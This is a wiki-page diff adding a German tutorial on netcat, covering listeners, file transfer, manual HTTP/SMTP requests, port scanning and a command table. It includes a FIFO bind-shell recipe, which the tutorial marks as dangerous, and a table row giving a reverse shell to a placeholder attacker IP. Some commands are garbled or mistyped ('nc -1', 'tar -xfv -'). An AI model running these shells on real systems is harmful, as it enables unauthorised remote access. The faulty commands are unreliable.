|
|
Zeile 22: |
Zeile 22: |
| sudo apt install netcat | | sudo apt install netcat |
| </syntaxhighlight> | | </syntaxhighlight> |
|
| |
| == Anwendung ==
| |
| === Client/Server-Modell ===
| |
| Starten Sie auf einer Konsole nc, um an einem bestimmten Port nach einer Verbindung zu lauschen
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| nc -l 1234
| |
| </syntaxhighlight>
| |
|
| |
| nc lauscht jetzt auf Port 1234 auf eine Verbindung
| |
|
| |
| Stellen Sie auf einer zweiten Konsole (oder einem zweiten Computer) eine Verbindung zu dem Computer und dem Port her, auf dem gelauscht wird
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| nc -N 127.0.0.1 1234
| |
| </syntaxhighlight>
| |
|
| |
| Es sollte nun eine Verbindung zwischen den Ports bestehen
| |
| * Alles, was auf der zweiten Konsole eingegeben wird, wird mit der ersten verkettet und umgekehrt
| |
| * Nach dem Verbindungsaufbau ist es nc eigentlich egal, welche Seite als 'Server' und welche Seite als 'Client' verwendet wird
| |
| * Die Verbindung kann mit einem EOF ('^D') beendet werden, da das Flag -N angegeben wurde
| |
|
| |
| Es gibt keine Option -c oder -e in diesem Netcat, aber Sie können trotzdem einen Befehl ausführen, nachdem die Verbindung hergestellt wurde, indem Sie Dateideskriptoren umleiten
| |
| * Seien Sie hier vorsichtig, denn das Öffnen eines Ports und das Ausführen beliebiger Befehle auf Ihrer Site durch jeden, der damit verbunden ist, ist GEFÄHRLICH
| |
|
| |
| Wenn Sie dies wirklich tun müssen, hier ein Beispiel
| |
|
| |
| Auf 'Server'-Seite
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| rm -f /tmp/f; mkfifo /tmp/f
| |
| cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
| |
| </syntaxhighlight>
| |
|
| |
| Auf 'Client'-Seite
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| nc host.example.com 1234
| |
| (shell prompt from host.example.com)
| |
| </syntaxhighlight>
| |
|
| |
| Dadurch erstellen Sie ein Fifo unter /tmp/f und veranlassen nc, auf Port 1234 der Adresse 127.0.0.1 auf der 'Server'-Seite zu lauschen, wenn ein 'Client' eine Verbindung herstellt. Verbindung erfolgreich zu diesem Port, /bin/sh wird auf der 'Server'-Seite ausgeführt und der Shell-Prompt wird an die 'Client'-Seite übergeben
| |
|
| |
| Wenn die Verbindung beendet wird, wird auch nc beendet
| |
| * Verwenden Sie -k, wenn Sie möchten, dass es weiter zuhört, aber wenn der Befehl beendet wird, wird es durch diese Option nicht neu gestartet oder nc am Laufen gehalten
| |
|
| |
| Vergessen Sie auch nicht, den Dateideskriptor zu entfernen, wenn Sie ihn nicht mehr benötigen
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| rm -f /tmp/f
| |
| </syntaxhighlight>
| |
|
| |
| === Datenübertragung ===
| |
| Das Beispiel im vorherigen Abschnitt kann erweitert werden, um ein grundlegendes Datenübertragungsmodell zu erstellen
| |
| * Alle Informationen, die an einem Ende der Verbindung eingegeben werden, werden an das andere Ende ausgegeben, und Eingabe und Ausgabe können einfach erfasst werden, um die Dateiübertragung zu emulieren
| |
|
| |
| Beginnen Sie mit nc, um einen bestimmten Port zu überwachen, wobei die Ausgabe in einer Datei erfasst wird
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| nc -l 1234 > filename.out
| |
| </syntaxhighlight>
| |
|
| |
| Verbinden Sie sich mit einem zweiten Computer mit dem lauschenden nc-Prozess und füttern Sie ihn mit der zu übertragenden Datei
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| nc -N host.example.com 1234 < filename.in
| |
| </syntaxhighlight>
| |
|
| |
| Nachdem die Datei übertragen wurde, wird die Verbindung automatisch geschlossen
| |
|
| |
| === Einen Server ansprechen ===
| |
| Manchmal ist es nützlich, mit Servern „von Hand“ zu kommunizieren, anstatt über eine Benutzeroberfläche
| |
| * Es kann bei der Fehlerbehebung hilfreich sein, wenn möglicherweise überprüft werden muss, welche Daten ein Server als Antwort auf vom Client ausgegebene Befehle sendet
| |
| * Um etwa die Startseite einer Website abzurufen
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| printf "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80
| |
| </syntaxhighlight>
| |
|
| |
| Beachten Sie, dass dies auch die vom Webserver gesendeten Header anzeigt
| |
| * Sie können bei Bedarf mit einem Tool wie sed(1) gefiltert werden
| |
|
| |
| Kompliziertere Beispiele können aufgebaut werden, wenn der Benutzer das vom Server geforderte Anforderungsformat kennt
| |
| * Als weiteres Beispiel kann eine E-Mail sub an einen SMTP-Server übermittelt mit
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| $ '''nc [-C] localhost 25 << EOF'''
| |
| HELO host.example.com
| |
| MAIL FROM:<user@host.example.com>
| |
| RCPT TO:<user2@host.example.com>
| |
| DATA
| |
| Body of email
| |
|
| |
| QUIT
| |
| EOF
| |
| </syntaxhighlight>
| |
|
| |
| === Port-Scanning ===
| |
| Es kann hilfreich sein zu wissen, welche Ports geöffnet sind und welche Dienste auf einem Zielcomputer ausgeführt werden
| |
| * Das Flag -z kann verwendet werden, um nc anzuweisen, offene Ports zu melden,
| |
| anstatt eine Verbindung herzustellen
| |
| * Normalerweise ist es nützlich, die ausführliche Ausgabe an stderr zu aktivieren, indem Sie diese Option in Verbindung mit der Option -v verwenden
| |
|
| |
| Zum Beispiel
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| nc -zv host.example.com 20-30
| |
| Connection to host.example.com 22 port [tcp/ssh] succeeded!
| |
| Connection to host.example.com 25 port [tcp/smtp] succeeded!
| |
| </syntaxhighlight>
| |
|
| |
| Der Portbereich wurde angegeben, um die Suche auf die Ports 20–30 zu beschränken, und wird in aufsteigender Reihenfolge gescannt (es sei denn, das Flag -r ist gesetzt)
| |
|
| |
| Sie können auch eine Liste der zu scannenden Ports angeben, zum Beispiel
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| nc -zv host.example.com http 20 22-23
| |
| nc: connect to host.example.com 80 (tcp) failed: Connection refused
| |
| nc: connect to host.example.com 20 (tcp) failed: Connection refused
| |
| Connection to host.example.com port [tcp/ssh] succeeded!
| |
| nc: connect to host.example.com 23 (tcp) failed: Connection refused
| |
| </syntaxhighlight>
| |
|
| |
| Die Ports werden in der von Ihnen angegebenen Reihenfolge gescannt (es sei denn, das Flag -r ist gesetzt)
| |
|
| |
| Alternativ kann es hilfreich sein zu wissen, welche Serversoftware ausgeführt wird und welche Versionen
| |
| * Diese Informationen sind oft in der Begrüßung enthalten
| |
| Werbebanner
| |
| * Um diese abzurufen, ist es notwendig, zunächst eine Verbindung herzustellen und die Verbindung dann zu trennen, wenn das Banner abgerufen wurde
| |
| Dies kann erreicht werden, indem ein kleines Timeout mit dem Flag -w angegeben wird, oder vielleicht indem ein "QUIT"-Befehl an den Server ausgegeben wird
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| echo "QUIT" | nc host.example.com 20-30
| |
| SSH-1.99-OpenSSH_3.6.1p2
| |
| Protocol mismatch
| |
| 220 host.example.com IMS SMTP Receiver Version 0.84 Ready
| |
| </syntaxhighlight>
| |
|
| |
| === Beispiele ===
| |
| Öffnen Sie eine TCP-Verbindung zu Port 42 von host.example.com mit Port 31337 als Quellport und einem Timeout von 5 Sekunden
| |
|
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| nc -p 31337 -w 5 host.example.com 42
| |
| </syntaxhighlight>
| |
|
| |
| Öffnen Sie eine UDP-Verbindung zu Port 53 von host.example.com
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| nc -u host.example.com 53
| |
| </syntaxhighlight>
| |
|
| |
| Öffnen Sie eine TCP-Verbindung zu Port 42 von host.example.com mit 10.1.2.3 als IP für das lokale Ende der Verbindung
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| nc -s 10.1.2.3 host.example.com 42
| |
| </syntaxhighlight>
| |
|
| |
| Erstellen und hören Sie einen UNIX-Domain-Stream-Socket
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| nc -lU /var/tmp/dsocket
| |
| </syntaxhighlight>
| |
|
| |
| Verbinden Sie sich mit Port 42 von host.example.com über einen HTTP-Proxy unter 10.2.3.4, Port 8080
| |
| * Dieses Beispiel könnte auch von ssh(1) verwendet werden; siehe das ProxyCommand-Directive in ssh_config(5) für weitere Informationen
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| nc -x10.2.3.4:8080 -Xconnect host.example.com 42
| |
| </syntaxhighlight>
| |
|
| |
| Dasselbe Beispiel noch einmal, diesmal wird die Proxy-Authentifizierung mit dem Benutzernamen „ruser“ aktiviert, wenn der Proxy dies erfordert
| |
| <syntaxhighlight lang="bash" highlight="1" line>
| |
| nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42
| |
| </syntaxhighlight>
| |
|
| |
| === B2 ===
| |
| {| class="wikitable sortable“
| |
| |-
| |
| ! Beschreibung
| |
| ! Befehl
| |
| |-
| |
| | Prüfen ob der entfernte Port 80 offen ist (-u für UDP)
| |
| | <nowiki>nc 10.0.0.10 80</nowiki>
| |
| |-
| |
| | set up a TCP server listening on port 1234 (-u for UDP)
| |
| | <nowiki>nc -l 1234</nowiki>
| |
| |-
| |
| | Netcat-Listener nach dem Ende der aktuellen Verbindung am Leben erhalten
| |
| | <nowiki>nc -k-l 1234</nowiki>
| |
| |-
| |
| | Datei über Netcat an Remote-Endpunkt übertragen
| |
| | <nowiki>nc 10.0.0.10 1234 < my.tgz</nowiki>
| |
| |-
| |
| | Datei über Netcat an Remote-Endpunkt übertragen
| |
| | <nowiki>cat my.tgz | nc 10.0.0.10 1234</nowiki>
| |
| |-
| |
| | Datei über Netcat empfangen und speichern
| |
| | <nowiki>nc -l 1234 my.tgz</nowiki>
| |
| |-
| |
| | Tarball erstellen und über Pipe an Netcat senden
| |
| | <nowiki>tar -cf-. | nc -v 10.0.0.10 1234</nowiki>
| |
| |-
| |
| | Empfangen eines Tarballs und Extrahieren im aktuellen Verzeichnis
| |
| | <nowiki>nc -lv 1234 | tar -xfv -</nowiki>
| |
| |-
| |
| | scannt einen Portbereich nach einem Ziel (z. B. 1 bis 1000)
| |
| | <nowiki>nc -z 10.0.0.10 1-1000</nowiki>
| |
| |-
| |
| | scannt mehrere Portbereiche
| |
| | <nowiki>nc -z 10.0.0.10 1-100 200-300</nowiki>
| |
| |-
| |
| | einen Bereich von UDP-Ports mit einem Timeout von 1 Sekunde scannen
| |
| | <nowiki>nc -vuz -w1 10.0.0.10 1-1000</nowiki>
| |
| |-
| |
| | eine HTTP-Anfrage senden
| |
| | <nowiki>printf „GET / HTTP/1.0\r\n\r\n“ | nc google.com 80</nowiki>
| |
| |-
| |
| | Erstellen einer Reverse Shell auf dem Zielhost nc-1 4444 -e /bin/bash Erstellen einer Bind Shell auf dem Zielhost
| |
| | <nowiki>nc <Angreifer-IP> 4444 -e /bin/bash</nowiki>
| |
| |-
| |
| | Erstellen eines persistenten Netcat-Listeners für die Bind-Shell
| |
| | <nowiki>nc -k -l 4444 -e /bin/bash</nowiki>
| |
| |-
| |
| | Ausführen eines Befehls und Umleiten der Ausgabe an den Client
| |
| | <nowiki>nc -l 12345 -c 'uptime'</nowiki>
| |
| |-
| |
| | Übertragen einer gzip-komprimierten Festplatte
| |
| | <nowiki>dd if=/dev/sdb | gzip -c | nc 10.0.0.10 1234</nowiki>
| |
| |-
| |
| | die übertragene Festplatte speichern img
| |
| | <nowiki>nc -l 1234 | sudo dd of=/backup/sdb.img.gz</nowiki>
| |
| |-
| |
| | eine statische Webseite bereitstellen
| |
| | <nowiki>while true; do nc -1 8000 < test.html; done</nowiki>
| |
| |-
| |
| | start streaming the video upon client connection
| |
| | <nowiki>mkdir /tmp/pipe; cat video.mp4 > /tmp/pipe & nc -ul 12345 < /tmp/pipe</nowiki>
| |
| |-
| |
| | Videostream mit mplayer empfangen und abspielen
| |
| | <nowiki>nc -u 10.0.0.10 12345 | mplayer -</nowiki>
| |
| |-
| |
| |}
| |
|
| |
| ; Hinweise
| |
| <blockquote>
| |
| * UDP-Port-Scans mit der Flag-Kombination -uz melden immer Erfolg, unabhängig vom Status des Zielcomputers
| |
| * In Verbindung mit einem Traffic-Sniffer entweder auf dem Zielcomputer oder einem zwischengeschalteten Gerät könnte die Kombination -uz jedoch für die Kommunikationsdiagnose nützlich sein
| |
| * Beachten Sie, dass die Menge des generierten UDP-Datenverkehrs entweder aufgrund von Hardwareressourcen und/oder Konfigurationseinstellungen begrenzt sein kann
| |
| </blockquote>
| |
| <noinclude>
| |
|
| |
|
| == Aufruf == | | == Aufruf == |